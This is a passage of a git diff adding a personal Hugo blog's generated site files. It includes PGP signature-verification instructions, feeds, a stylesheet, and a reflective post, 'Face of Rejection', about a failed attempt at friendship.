+N5xyaL/P8R4FOurGthF1zL9dDUl9xRcOuxobn+wJgy8/8wZ/X786/unHeH5Q/Vni
+hpxHrRUCI+4R2nJtA9LMcDH1MkPJW0gT2RBDnLJuQaVQhu374snFXv0mI52gYVEI
+4bipi0Mzc4YixSElgX0ZJWVB0Xsv4e18B/jfGYtjEF1v/fEOzy+qiBNke1LFfRrP
+akRHlREXU+d8LV2oWS52XPkHSruG7l30uocejjiIa1kLm6neeQ+uz9JmAiHw4pEV
+WWwlf4AVvy2kpk/TomFl83Nen/NOi7FzPw6N4VJe1fimfRRPetOx3jnZrLScYUWp
+G81NTYbFbQPXQb823dC2UJRxLiZxMhqAKj3J7nXJg2Krk8ahUmre7xFTY/wvepOQ
+uOF+1xz2LXDeGUiH9IXqrbfx+nWlznKYr86EHF++hTxlV6dr6iELr8XFEg==
+=mAs8
+-----END PGP PUBLIC KEY BLOCK-----
+

Verify a post

  1. Import my key once:
    curl -O https://blog.alipourimjourneys.ir/keys/iman-alipour-pgp.asc
    +gpg --import iman-alipour-pgp.asc
    +
  2. Download the post and its signature (each post links them):
    curl -O https://blog.alipourimjourneys.ir/sources/posts/hello-world.md
    +curl -O https://blog.alipourimjourneys.ir/sources/posts/hello-world.md.asc
    +
  3. Verify:
    gpg --verify hello-world.md.asc hello-world.md
    +

Downloads: +Markdown · +Signature (.asc)

Verify locally:

curl -fSLO https://blog.alipour.eu/sources/about.md
+curl -fSLO https://blog.alipour.eu/sources/about.md.asc
+gpg --verify about.md.asc about.md
+  
+ +Open on GitHub ↗
Comments powered by Isso
+
+RSS + +Visitors this week:
\ No newline at end of file diff --git a/public-clearnet/about/index.xml b/public-clearnet/about/index.xml new file mode 100644 index 0000000..b389bb1 --- /dev/null +++ b/public-clearnet/about/index.xml @@ -0,0 +1 @@ +About on AlipourIm journeyshttps://blog.alipour.eu/about/Recent content in About on AlipourIm journeysHugo -- 0.146.0en \ No newline at end of file diff --git a/public-clearnet/about/pfp.jpeg b/public-clearnet/about/pfp.jpeg new file mode 100644 index 0000000..6c5efa4 Binary files /dev/null and b/public-clearnet/about/pfp.jpeg differ diff --git a/public-clearnet/about/pfp.png b/public-clearnet/about/pfp.png new file mode 100644 index 0000000..e85e9e8 Binary files /dev/null and b/public-clearnet/about/pfp.png differ diff --git a/public-clearnet/android-chrome-192x192.png b/public-clearnet/android-chrome-192x192.png new file mode 100644 index 0000000..e9bedbe Binary files /dev/null and b/public-clearnet/android-chrome-192x192.png differ diff --git a/public-clearnet/android-chrome-512x512.png b/public-clearnet/android-chrome-512x512.png new file mode 100644 index 0000000..3254376 Binary files /dev/null and b/public-clearnet/android-chrome-512x512.png differ diff --git a/public-clearnet/apple-touch-icon.png b/public-clearnet/apple-touch-icon.png new file mode 100644 index 0000000..1b9d4cc Binary files /dev/null and b/public-clearnet/apple-touch-icon.png differ diff --git a/public-clearnet/archive/face_of_rejection/index.html b/public-clearnet/archive/face_of_rejection/index.html new file mode 100644 index 0000000..9935a09 --- /dev/null +++ b/public-clearnet/archive/face_of_rejection/index.html @@ -0,0 +1,103 @@ +Face of Rejection | AlipourIm journeys +

Face of Rejection

Now that I’ve had some time to process, I think it’s good to write down this sad experience. +First things first, I do know that I stand by my decision. +I strongly believe whatever the f*** our interactions were, they were not of any use for me. +Like what’s the point of waving at each other when we meet, say hello and ask how we are, etc., if ther is literally nothing else to it. +If we would never enter eachother’s social cycle. +I don’t know how to put the thing I want to say into words, but usually the way friendships go, at least for me, is that when you plan stuff with your friends, you tell your friends. +Hm… ok, it still doesn’t make sense. +Let me think if I can say it better or not. +Ok, let’s say you this person X. +Imagine you interact with person X, talk to them, etc., but then that’s it, it is limited to “talking”. +You count person X as a friend, but they are never invited to anything. +They are kept at arms distance. +Now I would assume it’s fun for many many people, but me… +I already have a small social cycle. +It requires so much energy for me to start new connections, connections that are worth keeping. +I don’t want to be a docker container. +Some isolated thing that is only interacted with when needed. +But I think I communicated this so badly, that it came off wrong. +To be honest, even my therapist didn’t seem to believe me when I said I wanted to be included in her social circle. +He though it was an attempt by me to poke her. +I do strongly believe this wasn’t the case, but I’m too hurt to try to defend myself. +I also highly doubt defending myself would work, it would just add more pressure, and harder rejection.

Now the interesting part is my reaction. “Withdrawal”. +The lesson I learned from past experiences is that explaining yourself or trying to fix things just results in more pain for you, and nothing being fixed. +But this was strong. +I did not want to respond. +In fact, my first reaction was to delete the platform, not to be able to see the message to get hurt. +During my therappy though, I did open the message. +I went silent. +I tried to process. +The weight of that was heavy. +It became hard to talk. +Hard to reason. +It was just…. sad.

Going forward I know that the best way forward for me is to stop any communications with her. +It is sad, this losing of a friend, but let’s be honest, were we friends? +No. +Not my definition of friendship. +And honestly, this should be a hard line for me, I don’t care how you define friendship. +If it isn’t mutual, it isn’t good enough for me. +I need to be more dominant, and less scared. +My lines are my lines, and they are not to be negotiated with. +I need to remain strong, and just let go.

I just realized I did not even talk about what happened. +LMAO. +Long story short, there was this person who I knew for some time. +We used to exchange messages every once in a while. +I asked if we would be spending time together, or with each other’s social circle, which to be honest came out super wrong :)))))) +I wasn’t trying to ask her out. +I just wanted to be included in some of the social gatherings with her social circle. +To expand mine. +To get to see new people. +Call me an idiot, or whatever, but I didn’t know how to put this into words. +And I did not do it correctly it seems as I got “rejected”. +But as my friend says, “better a sad ending, than a never ending sadness”. +I wansn’t trying to ask her out, but my social skills are so bad that it came so so wrongly.

I do stand by my decision though. +No more interactions with her. +Nothing. +I need to become friends with people that don’t keep me isolated, or stored for their needs. +It should be mutual. +At least, whatever interactions we had, had nothing useful for me. +If anything, it just hurt me by showing how lonely I am. +You can argue that is a good thing to at least figure it out, and I would argue why would I keep being fed this thing if there is no levy for me out? +If I’m not being helped. +If I’m being kept at arms distance. +If I’m being isolated. +I’m no docker process who should be kept isolated. +I’m the kernel module.

This came out weird coming from me, but it is what it is :) +I should, and need to say “I” sometimes. +I need to assert dominance, to show I’m in control, to show I’m happy, to show everything is fine.


Downloads: +Markdown · +Signature (.asc)

Verify locally:

curl -fSLO https://blog.alipour.eu/sources/archive/face_of_rejection.md
+curl -fSLO https://blog.alipour.eu/sources/archive/face_of_rejection.md.asc
+gpg --verify face_of_rejection.md.asc face_of_rejection.md
+  
+ +Open on GitHub ↗
Comments powered by Isso
+RSS + +Visitors this week:
\ No newline at end of file diff --git a/public-clearnet/archive/index.html b/public-clearnet/archive/index.html new file mode 100644 index 0000000..cb4a2f2 --- /dev/null +++ b/public-clearnet/archive/index.html @@ -0,0 +1,12 @@ +Archives | AlipourIm journeys +

Face of Rejection

Now that I’ve had some time to process, I think it’s good to write down this sad experience. First things first, I do know that I stand by my decision. I strongly believe whatever the f*** our interactions were, they were not of any use for me. Like what’s the point of waving at each other when we meet, say hello and ask how we are, etc., if ther is literally nothing else to it. If we would never enter eachother’s social cycle. I don’t know how to put the thing I want to say into words, but usually the way friendships go, at least for me, is that when you plan stuff with your friends, you tell your friends. Hm… ok, it still doesn’t make sense. Let me think if I can say it better or not. Ok, let’s say you this person X. Imagine you interact with person X, talk to them, etc., but then that’s it, it is limited to “talking”. You count person X as a friend, but they are never invited to anything. They are kept at arms distance. Now I would assume it’s fun for many many people, but me… I already have a small social cycle. It requires so much energy for me to start new connections, connections that are worth keeping. I don’t want to be a docker container. Some isolated thing that is only interacted with when needed. But I think I communicated this so badly, that it came off wrong. To be honest, even my therapist didn’t seem to believe me when I said I wanted to be included in her social circle. He though it was an attempt by me to poke her. I do strongly believe this wasn’t the case, but I’m too hurt to try to defend myself. I also highly doubt defending myself would work, it would just add more pressure, and harder rejection. +...

May 10, 2026 · 4 min · Iman Alipour +
+
+RSS + +Visitors this week:
\ No newline at end of file diff --git a/public-clearnet/archive/index.xml b/public-clearnet/archive/index.xml new file mode 100644 index 0000000..795f33c --- /dev/null +++ b/public-clearnet/archive/index.xml @@ -0,0 +1,107 @@ +Archives on AlipourIm journeyshttps://blog.alipour.eu/archive/Recent content in Archives on AlipourIm journeysHugo -- 0.146.0enSun, 10 May 2026 22:46:10 +0000Face of Rejectionhttps://blog.alipour.eu/archive/face_of_rejection/Sun, 10 May 2026 22:46:10 +0000https://blog.alipour.eu/archive/face_of_rejection/<p>Now that I&rsquo;ve had some time to process, I think it&rsquo;s good to write down this sad experience. +First things first, I do know that I stand by my decision. +I strongly believe whatever the f*** our interactions were, they were not of any use for me. +Like what&rsquo;s the point of waving at each other when we meet, say hello and ask how we are, etc., if ther is literally nothing else to it. +If we would never enter eachother&rsquo;s social cycle. +I don&rsquo;t know how to put the thing I want to say into words, but usually the way friendships go, at least for me, is that when you plan stuff with your friends, you tell your friends. +Hm&hellip; ok, it still doesn&rsquo;t make sense. +Let me think if I can say it better or not. +Ok, let&rsquo;s say you this person X. +Imagine you interact with person X, talk to them, etc., but then that&rsquo;s it, it is limited to &ldquo;talking&rdquo;. +You count person X as a friend, but they are never invited to anything. +They are kept at arms distance. +Now I would assume it&rsquo;s fun for many many people, but me&hellip; +I already have a small social cycle. +It requires so much energy for me to start new connections, connections that are worth keeping. +I don&rsquo;t want to be a docker container. +Some isolated thing that is only interacted with when needed. +But I think I communicated this so badly, that it came off wrong. +To be honest, even my therapist didn&rsquo;t seem to believe me when I said I wanted to be included in her social circle. +He though it was an attempt by me to poke her. +I do strongly believe this wasn&rsquo;t the case, but I&rsquo;m too hurt to try to defend myself. +I also highly doubt defending myself would work, it would just add more pressure, and harder rejection.</p>Now that I’ve had some time to process, I think it’s good to write down this sad experience. +First things first, I do know that I stand by my decision. +I strongly believe whatever the f*** our interactions were, they were not of any use for me. +Like what’s the point of waving at each other when we meet, say hello and ask how we are, etc., if ther is literally nothing else to it. +If we would never enter eachother’s social cycle. +I don’t know how to put the thing I want to say into words, but usually the way friendships go, at least for me, is that when you plan stuff with your friends, you tell your friends. +Hm… ok, it still doesn’t make sense. +Let me think if I can say it better or not. +Ok, let’s say you this person X. +Imagine you interact with person X, talk to them, etc., but then that’s it, it is limited to “talking”. +You count person X as a friend, but they are never invited to anything. +They are kept at arms distance. +Now I would assume it’s fun for many many people, but me… +I already have a small social cycle. +It requires so much energy for me to start new connections, connections that are worth keeping. +I don’t want to be a docker container. +Some isolated thing that is only interacted with when needed. +But I think I communicated this so badly, that it came off wrong. +To be honest, even my therapist didn’t seem to believe me when I said I wanted to be included in her social circle. +He though it was an attempt by me to poke her. +I do strongly believe this wasn’t the case, but I’m too hurt to try to defend myself. +I also highly doubt defending myself would work, it would just add more pressure, and harder rejection.

+

Now the interesting part is my reaction. “Withdrawal”. +The lesson I learned from past experiences is that explaining yourself or trying to fix things just results in more pain for you, and nothing being fixed. +But this was strong. +I did not want to respond. +In fact, my first reaction was to delete the platform, not to be able to see the message to get hurt. +During my therappy though, I did open the message. +I went silent. +I tried to process. +The weight of that was heavy. +It became hard to talk. +Hard to reason. +It was just…. sad.

+

Going forward I know that the best way forward for me is to stop any communications with her. +It is sad, this losing of a friend, but let’s be honest, were we friends? +No. +Not my definition of friendship. +And honestly, this should be a hard line for me, I don’t care how you define friendship. +If it isn’t mutual, it isn’t good enough for me. +I need to be more dominant, and less scared. +My lines are my lines, and they are not to be negotiated with. +I need to remain strong, and just let go.

+

I just realized I did not even talk about what happened. +LMAO. +Long story short, there was this person who I knew for some time. +We used to exchange messages every once in a while. +I asked if we would be spending time together, or with each other’s social circle, which to be honest came out super wrong :)))))) +I wasn’t trying to ask her out. +I just wanted to be included in some of the social gatherings with her social circle. +To expand mine. +To get to see new people. +Call me an idiot, or whatever, but I didn’t know how to put this into words. +And I did not do it correctly it seems as I got “rejected”. +But as my friend says, “better a sad ending, than a never ending sadness”. +I wansn’t trying to ask her out, but my social skills are so bad that it came so so wrongly.

+

I do stand by my decision though. +No more interactions with her. +Nothing. +I need to become friends with people that don’t keep me isolated, or stored for their needs. +It should be mutual. +At least, whatever interactions we had, had nothing useful for me. +If anything, it just hurt me by showing how lonely I am. +You can argue that is a good thing to at least figure it out, and I would argue why would I keep being fed this thing if there is no levy for me out? +If I’m not being helped. +If I’m being kept at arms distance. +If I’m being isolated. +I’m no docker process who should be kept isolated. +I’m the kernel module.

+

This came out weird coming from me, but it is what it is :) +I should, and need to say “I” sometimes. +I need to assert dominance, to show I’m in control, to show I’m happy, to show everything is fine.

+
+
+

Downloads: + Markdown · + Signature (.asc) +

Verify locally:

+
curl -fSLO https://blog.alipour.eu/sources/archive/face_of_rejection.md
+curl -fSLO https://blog.alipour.eu/sources/archive/face_of_rejection.md.asc
+gpg --verify face_of_rejection.md.asc face_of_rejection.md
+  
+
+ + +]]>
\ No newline at end of file diff --git a/public-clearnet/archive/page/1/index.html b/public-clearnet/archive/page/1/index.html new file mode 100644 index 0000000..3c74593 --- /dev/null +++ b/public-clearnet/archive/page/1/index.html @@ -0,0 +1,2 @@ +https://blog.alipour.eu/archive/ + \ No newline at end of file diff --git a/public-clearnet/assets/css/stylesheet.31b150d909186c48d6dbbf653acc2489945fa9ac2c8f8cd3fe8448e89e40fccf.css b/public-clearnet/assets/css/stylesheet.31b150d909186c48d6dbbf653acc2489945fa9ac2c8f8cd3fe8448e89e40fccf.css new file mode 100644 index 0000000..7b3ccd9 --- /dev/null +++ b/public-clearnet/assets/css/stylesheet.31b150d909186c48d6dbbf653acc2489945fa9ac2c8f8cd3fe8448e89e40fccf.css @@ -0,0 +1,7 @@ +/* + PaperMod v8+ + License: MIT https://github.com/adityatelange/hugo-PaperMod/blob/master/LICENSE + Copyright (c) 2020 nanxiaobei and adityatelange + Copyright (c) 2021-2025 adityatelange +*/ +:root{--gap:24px;--content-gap:20px;--nav-width:1024px;--main-width:720px;--header-height:60px;--footer-height:60px;--radius:8px;--theme:rgb(255, 255, 255);--entry:rgb(255, 255, 255);--primary:rgb(30, 30, 30);--secondary:rgb(108, 108, 108);--tertiary:rgb(214, 214, 214);--content:rgb(31, 31, 31);--code-block-bg:rgb(28, 29, 33);--code-bg:rgb(245, 245, 245);--border:rgb(238, 238, 238)}.dark{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--code-block-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--code-bg)}.dark.list{background:var(--theme)}*,::after,::before{box-sizing:border-box}html{-webkit-tap-highlight-color:transparent;overflow-y:scroll;-webkit-text-size-adjust:100%;text-size-adjust:100%}a,button,body,h1,h2,h3,h4,h5,h6{color:var(--primary)}body{font-family:-apple-system,BlinkMacSystemFont,segoe ui,Roboto,Oxygen,Ubuntu,Cantarell,open sans,helvetica neue,sans-serif;font-size:18px;line-height:1.6;word-break:break-word;background:var(--theme)}article,aside,figcaption,figure,footer,header,hgroup,main,nav,section,table{display:block}h1,h2,h3,h4,h5,h6{line-height:1.2}h1,h2,h3,h4,h5,h6,p{margin-top:0;margin-bottom:0}ul{padding:0}a{text-decoration:none}body,figure,ul{margin:0}table{width:100%;border-collapse:collapse;border-spacing:0;overflow-x:auto;word-break:keep-all}button,input,textarea{padding:0;font:inherit;background:0 0;border:0}input,textarea{outline:0}button,input[type=button],input[type=submit]{cursor:pointer}input:-webkit-autofill,textarea:-webkit-autofill{box-shadow:0 0 0 50px var(--theme)inset}img{display:block;max-width:100%}.not-found{position:absolute;left:0;right:0;display:flex;align-items:center;justify-content:center;height:80%;font-size:160px;font-weight:700}.archive-posts{width:100%;font-size:16px}.archive-year{margin-top:40px}.archive-year:not(:last-of-type){border-bottom:2px solid var(--border)}.archive-month{display:flex;align-items:flex-start;padding:10px 0}.archive-month-header{margin:25px 0;width:200px}.archive-month:not(:last-of-type){border-bottom:1px solid var(--border)}.archive-entry{position:relative;padding:5px;margin:10px 0}.archive-entry-title{margin:5px 0;font-weight:400}.archive-count,.archive-meta{color:var(--secondary);font-size:14px}.footer,.top-link{font-size:12px;color:var(--secondary)}.footer{max-width:calc(var(--main-width) + var(--gap) * 2);margin:auto;padding:calc((var(--footer-height) - var(--gap))/2)var(--gap);text-align:center;line-height:24px}.footer span{margin-inline-start:1px;margin-inline-end:1px}.footer span:last-child{white-space:nowrap}.footer a{color:inherit;border-bottom:1px solid var(--secondary)}.footer a:hover{border-bottom:1px solid var(--primary)}.top-link{visibility:hidden;position:fixed;bottom:60px;right:30px;z-index:99;background:var(--tertiary);width:42px;height:42px;padding:12px;border-radius:64px;transition:visibility .5s,opacity .8s linear}.top-link,.top-link svg{filter:drop-shadow(0 0 0 var(--theme))}.footer a:hover,.top-link:hover{color:var(--primary)}.top-link:focus,#theme-toggle:focus{outline:0}.nav{display:flex;flex-wrap:wrap;justify-content:space-between;max-width:calc(var(--nav-width) + var(--gap) * 2);margin-inline-start:auto;margin-inline-end:auto;line-height:var(--header-height)}.nav a{display:block}.logo,#menu{display:flex;margin:auto var(--gap)}.logo{flex-wrap:inherit}.logo a{font-size:24px;font-weight:700}.logo a img,.logo a svg{display:inline;vertical-align:middle;pointer-events:none;transform:translate(0,-10%);border-radius:6px;margin-inline-end:8px}button#theme-toggle{font-size:26px;margin:auto 4px}body.dark #moon{vertical-align:middle;display:none}body:not(.dark) #sun{display:none}#menu{list-style:none;word-break:keep-all;overflow-x:auto;white-space:nowrap}#menu li+li{margin-inline-start:var(--gap)}#menu a{font-size:16px}#menu .active{font-weight:500;border-bottom:2px solid}.lang-switch li,.lang-switch ul,.logo-switches{display:inline-flex;margin:auto 4px}.lang-switch{display:flex;flex-wrap:inherit}.lang-switch a{margin:auto 3px;font-size:16px;font-weight:500}.logo-switches{flex-wrap:inherit}.main{position:relative;min-height:calc(100vh - var(--header-height) - var(--footer-height));max-width:calc(var(--main-width) + var(--gap) * 2);margin:auto;padding:var(--gap)}.page-header h1{font-size:40px}.pagination{display:flex}.pagination a{color:var(--theme);font-size:13px;line-height:36px;background:var(--primary);border-radius:calc(36px/2);padding:0 16px}.pagination .next{margin-inline-start:auto}.social-icons a{display:inline-flex;padding:10px}.social-icons a svg{height:26px;width:26px}code{direction:ltr}div.highlight,pre{position:relative}.copy-code{display:none;position:absolute;top:4px;right:4px;color:rgba(255,255,255,.8);background:rgba(78,78,78,.8);border-radius:var(--radius);padding:0 5px;font-size:14px;user-select:none}div.highlight:hover .copy-code,pre:hover .copy-code{display:block}.first-entry{position:relative;display:flex;flex-direction:column;justify-content:center;min-height:320px;margin:var(--gap)0 calc(var(--gap) * 2)}.first-entry .entry-header{overflow:hidden;display:-webkit-box;-webkit-box-orient:vertical;-webkit-line-clamp:3}.first-entry .entry-header h1{font-size:34px;line-height:1.3}.first-entry .entry-content{margin:14px 0;font-size:16px;-webkit-line-clamp:3}.first-entry .entry-footer{font-size:14px}.home-info .entry-content{-webkit-line-clamp:unset}.post-entry{position:relative;margin-bottom:var(--gap);padding:var(--gap);background:var(--entry);border-radius:var(--radius);transition:transform .1s;border:1px solid var(--border)}.post-entry:active{transform:scale(.96)}.tag-entry .entry-cover{display:none}.entry-header h2{font-size:24px;line-height:1.3}.entry-content{margin:8px 0;color:var(--secondary);font-size:14px;line-height:1.6;overflow:hidden;display:-webkit-box;-webkit-box-orient:vertical;-webkit-line-clamp:2}.entry-footer{color:var(--secondary);font-size:13px}.entry-link{position:absolute;left:0;right:0;top:0;bottom:0}.entry-hint{color:var(--secondary)}.entry-hint-parent{display:flex;justify-content:space-between}.entry-cover{font-size:14px;margin-bottom:var(--gap);text-align:center}.entry-cover img{border-radius:var(--radius);width:100%;height:auto}.entry-cover a{color:var(--secondary);box-shadow:0 1px 0 var(--primary)}.page-header,.post-header{margin:24px auto var(--content-gap)}.post-title{margin-bottom:2px;font-size:40px}.post-description{margin-top:10px;margin-bottom:5px}.post-meta,.breadcrumbs{color:var(--secondary);font-size:14px;display:flex;flex-wrap:wrap;align-items:center}.post-meta .i18n_list li{display:inline-flex;list-style:none;margin:auto 3px;box-shadow:0 1px 0 var(--secondary)}.breadcrumbs a{font-size:16px}.post-content{color:var(--content)}.post-content h3,.post-content h4,.post-content h5,.post-content h6{margin:24px 0 16px}.post-content h1{margin:40px auto 32px;font-size:40px}.post-content h2{margin:32px auto 24px;font-size:32px}.post-content h3{font-size:24px}.post-content h4{font-size:16px}.post-content h5{font-size:14px}.post-content h6{font-size:12px}.post-content a,.toc a:hover{box-shadow:0 1px;box-decoration-break:clone;-webkit-box-decoration-break:clone}.post-content a code{margin:auto 0;border-radius:0;box-shadow:0 -1px 0 var(--primary)inset}.post-content del{text-decoration:line-through}.post-content dl,.post-content ol,.post-content p,.post-content figure,.post-content ul{margin-bottom:var(--content-gap)}.post-content ol,.post-content ul{padding-inline-start:20px}.post-content li{margin-top:5px}.post-content li p{margin-bottom:0}.post-content dl{display:flex;flex-wrap:wrap;margin:0}.post-content dt{width:25%;font-weight:700}.post-content dd{width:75%;margin-inline-start:0;padding-inline-start:10px}.post-content dd~dd,.post-content dt~dt{margin-top:10px}.post-content table{margin-bottom:var(--content-gap)}.post-content table th,.post-content table:not(.highlighttable,.highlight table,.gist .highlight) td{min-width:80px;padding:8px 5px;line-height:1.5;border-bottom:1px solid var(--border)}.post-content table th{text-align:start}.post-content table:not(.highlighttable) td code:only-child{margin:auto 0}.post-content .highlight table{border-radius:var(--radius)}.post-content .highlight:not(table){margin:10px auto;background:var(--code-block-bg)!important;border-radius:var(--radius);direction:ltr}.post-content li>.highlight{margin-inline-end:0}.post-content ul pre{margin-inline-start:calc(var(--gap) * -2)}.post-content .highlight pre{margin:0}.post-content .highlighttable{table-layout:fixed}.post-content .highlighttable td:first-child{width:40px}.post-content .highlighttable td .linenodiv{padding-inline-end:0!important}.post-content .highlighttable td .highlight,.post-content .highlighttable td .linenodiv pre{margin-bottom:0}.post-content code{margin:auto 4px;padding:4px 6px;font-size:.78em;line-height:1.5;background:var(--code-bg);border-radius:2px}.post-content pre code{display:grid;margin:auto 0;padding:10px;color:#d5d5d6;background:var(--code-block-bg)!important;border-radius:var(--radius);overflow-x:auto;word-break:break-all}.post-content blockquote{margin:20px 0;padding:0 14px;border-inline-start:3px solid var(--primary)}.post-content hr{margin:30px 0;height:2px;background:var(--tertiary);border:0}.post-content iframe{max-width:100%}.post-content img{border-radius:4px;margin:1rem 0}.post-content img[src*="#center"]{margin:1rem auto}.post-content figure.align-center{text-align:center}.post-content figure>figcaption{color:var(--primary);font-size:16px;font-weight:700;margin:8px 0 16px}.post-content figure>figcaption>p{color:var(--secondary);font-size:14px;font-weight:400}.toc{margin:0 2px 40px;border:1px solid var(--border);background:var(--code-bg);border-radius:var(--radius);padding:.4em}.dark .toc{background:var(--entry)}.toc details summary{cursor:zoom-in;margin-inline-start:10px;user-select:none}.toc details[open] summary{cursor:zoom-out}.toc .details{display:inline;font-weight:500}.toc .inner{margin:5px 20px 0;padding:0 10px;opacity:.9}.toc li ul{margin-inline-start:var(--gap)}.toc summary:focus{outline:0}.post-footer{margin-top:56px}.post-footer>*{margin-bottom:10px}.post-tags{display:flex;flex-wrap:wrap;gap:10px}.post-tags li{display:inline-block}.post-tags a,.share-buttons,.paginav{border-radius:var(--radius);background:var(--code-bg);border:1px solid var(--border)}.post-tags a{display:block;padding:0 14px;color:var(--secondary);font-size:14px;line-height:34px;background:var(--code-bg)}.post-tags a:hover,.paginav a:hover{background:var(--border)}.share-buttons{padding:10px;display:flex;justify-content:center;overflow-x:auto;gap:10px}.share-buttons li,.share-buttons a{display:inline-flex}.share-buttons a:not(:last-of-type){margin-inline-end:12px}h1:hover .anchor,h2:hover .anchor,h3:hover .anchor,h4:hover .anchor,h5:hover .anchor,h6:hover .anchor{display:inline-flex;color:var(--secondary);margin-inline-start:8px;font-weight:500;user-select:none}.paginav{display:flex;line-height:30px}.paginav a{padding-inline-start:14px;padding-inline-end:14px;border-radius:var(--radius)}.paginav .title{letter-spacing:1px;text-transform:uppercase;font-size:small;color:var(--secondary)}.paginav .prev,.paginav .next{width:50%}.paginav span:hover:not(.title){box-shadow:0 1px}.paginav .next{margin-inline-start:auto;text-align:right}[dir=rtl] .paginav .next{text-align:left}h1>a>svg{display:inline}img.in-text{display:inline;margin:auto}.buttons,.main .profile{display:flex;justify-content:center}.main .profile{align-items:center;min-height:calc(100vh - var(--header-height) - var(--footer-height) - (var(--gap) * 2));text-align:center}.profile .profile_inner{display:flex;flex-direction:column;align-items:center;gap:10px}.profile img{border-radius:50%}.buttons{flex-wrap:wrap;max-width:400px}.button{background:var(--tertiary);border-radius:var(--radius);margin:8px;padding:6px;transition:transform .1s}.button-inner{padding:0 8px}.button:active{transform:scale(.96)}#searchbox input{padding:4px 10px;width:100%;color:var(--primary);font-weight:700;border:2px solid var(--tertiary);border-radius:var(--radius)}#searchbox input:focus{border-color:var(--secondary)}#searchResults li{list-style:none;border-radius:var(--radius);padding:10px;margin:10px 0;position:relative;font-weight:500}#searchResults{margin:10px 0;width:100%}#searchResults li:active{transition:transform .1s;transform:scale(.98)}#searchResults a{position:absolute;width:100%;height:100%;top:0;left:0;outline:none}#searchResults .focus{transform:scale(.98);border:2px solid var(--tertiary)}.terms-tags li{display:inline-block;margin:10px;font-weight:500}.terms-tags a{display:block;padding:3px 10px;background:var(--tertiary);border-radius:6px;transition:transform .1s}.terms-tags a:active{background:var(--tertiary);transform:scale(.96)}.bg{color:#cad3f5;background-color:#24273a}.chroma{color:#cad3f5;background-color:#24273a}.chroma .x{}.chroma .err{color:#ed8796}.chroma .cl{}.chroma .lnlinks{outline:none;text-decoration:none;color:inherit}.chroma .lntd{vertical-align:top;padding:0;margin:0;border:0}.chroma .lntable{border-spacing:0;padding:0;margin:0;border:0}.chroma .hl{background-color:#474733}.chroma .lnt{white-space:pre;-webkit-user-select:none;user-select:none;margin-right:.4em;padding:0 .4em;color:#8087a2}.chroma .ln{white-space:pre;-webkit-user-select:none;user-select:none;margin-right:.4em;padding:0 .4em;color:#8087a2}.chroma .line{display:flex}.chroma .k{color:#c6a0f6}.chroma .kc{color:#f5a97f}.chroma .kd{color:#ed8796}.chroma .kn{color:#8bd5ca}.chroma .kp{color:#c6a0f6}.chroma .kr{color:#c6a0f6}.chroma .kt{color:#ed8796}.chroma .n{}.chroma .na{color:#8aadf4}.chroma .nb{color:#91d7e3}.chroma .bp{color:#91d7e3}.chroma .nc{color:#eed49f}.chroma .no{color:#eed49f}.chroma .nd{color:#8aadf4;font-weight:700}.chroma .ni{color:#8bd5ca}.chroma .ne{color:#f5a97f}.chroma .nf{color:#8aadf4}.chroma .fm{color:#8aadf4}.chroma .nl{color:#91d7e3}.chroma .nn{color:#f5a97f}.chroma .nx{}.chroma .py{color:#f5a97f}.chroma .nt{color:#c6a0f6}.chroma .nv{color:#f4dbd6}.chroma .vc{color:#f4dbd6}.chroma .vg{color:#f4dbd6}.chroma .vi{color:#f4dbd6}.chroma .vm{color:#f4dbd6}.chroma .l{}.chroma .ld{}.chroma .s{color:#a6da95}.chroma .sa{color:#ed8796}.chroma .sb{color:#a6da95}.chroma .sc{color:#a6da95}.chroma .dl{color:#8aadf4}.chroma .sd{color:#6e738d}.chroma .s2{color:#a6da95}.chroma .se{color:#8aadf4}.chroma .sh{color:#6e738d}.chroma .si{color:#a6da95}.chroma .sx{color:#a6da95}.chroma .sr{color:#8bd5ca}.chroma .s1{color:#a6da95}.chroma .ss{color:#a6da95}.chroma .m{color:#f5a97f}.chroma .mb{color:#f5a97f}.chroma .mf{color:#f5a97f}.chroma .mh{color:#f5a97f}.chroma .mi{color:#f5a97f}.chroma .il{color:#f5a97f}.chroma .mo{color:#f5a97f}.chroma .o{color:#91d7e3;font-weight:700}.chroma .ow{color:#91d7e3;font-weight:700}.chroma .p{}.chroma .c{color:#6e738d;font-style:italic}.chroma .ch{color:#6e738d;font-style:italic}.chroma .cm{color:#6e738d;font-style:italic}.chroma .c1{color:#6e738d;font-style:italic}.chroma .cs{color:#6e738d;font-style:italic}.chroma .cp{color:#6e738d;font-style:italic}.chroma .cpf{color:#6e738d;font-weight:700;font-style:italic}.chroma .g{}.chroma .gd{color:#ed8796;background-color:#363a4f}.chroma .ge{font-style:italic}.chroma .gr{color:#ed8796}.chroma .gh{color:#f5a97f;font-weight:700}.chroma .gi{color:#a6da95;background-color:#363a4f}.chroma .go{}.chroma .gp{}.chroma .gs{font-weight:700}.chroma .gu{color:#f5a97f;font-weight:700}.chroma .gt{color:#ed8796}.chroma .gl{text-decoration:underline}.chroma .w{}.chroma{background-color:unset!important}.chroma .hl{display:flex}.chroma .lnt{padding:0 0 0 12px}.highlight pre.chroma code{padding:8px 0}.highlight pre.chroma .line .cl,.chroma .ln{padding:0 10px}.chroma .lntd:last-of-type{width:100%}::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-track{background:var(--code-bg)}::-webkit-scrollbar-thumb{background:var(--tertiary);border:5px solid var(--theme);border-radius:var(--radius)}.list:not(.dark)::-webkit-scrollbar-thumb{border:5px solid var(--code-bg)}::-webkit-scrollbar-thumb:hover{background:var(--secondary)}::-webkit-scrollbar:not(.highlighttable,.highlight table,.gist .highlight){background:var(--theme)}.post-content .highlighttable td .highlight pre code::-webkit-scrollbar{display:none}.post-content :not(table) ::-webkit-scrollbar-thumb{border:2px solid var(--code-block-bg);background:#717175}.post-content :not(table) ::-webkit-scrollbar-thumb:hover{background:#a3a3a5}.gist table::-webkit-scrollbar-thumb{border:2px solid #fff;background:#adadad}.gist table::-webkit-scrollbar-thumb:hover{background:#707070}.post-content table::-webkit-scrollbar-thumb{border-width:2px}@media screen and (min-width:768px){::-webkit-scrollbar{width:19px;height:11px}}@media screen and (max-width:768px){:root{--gap:14px}.profile img{transform:scale(.85)}.first-entry{min-height:260px}.archive-month{flex-direction:column}.archive-year{margin-top:20px}.footer{padding:calc((var(--footer-height) 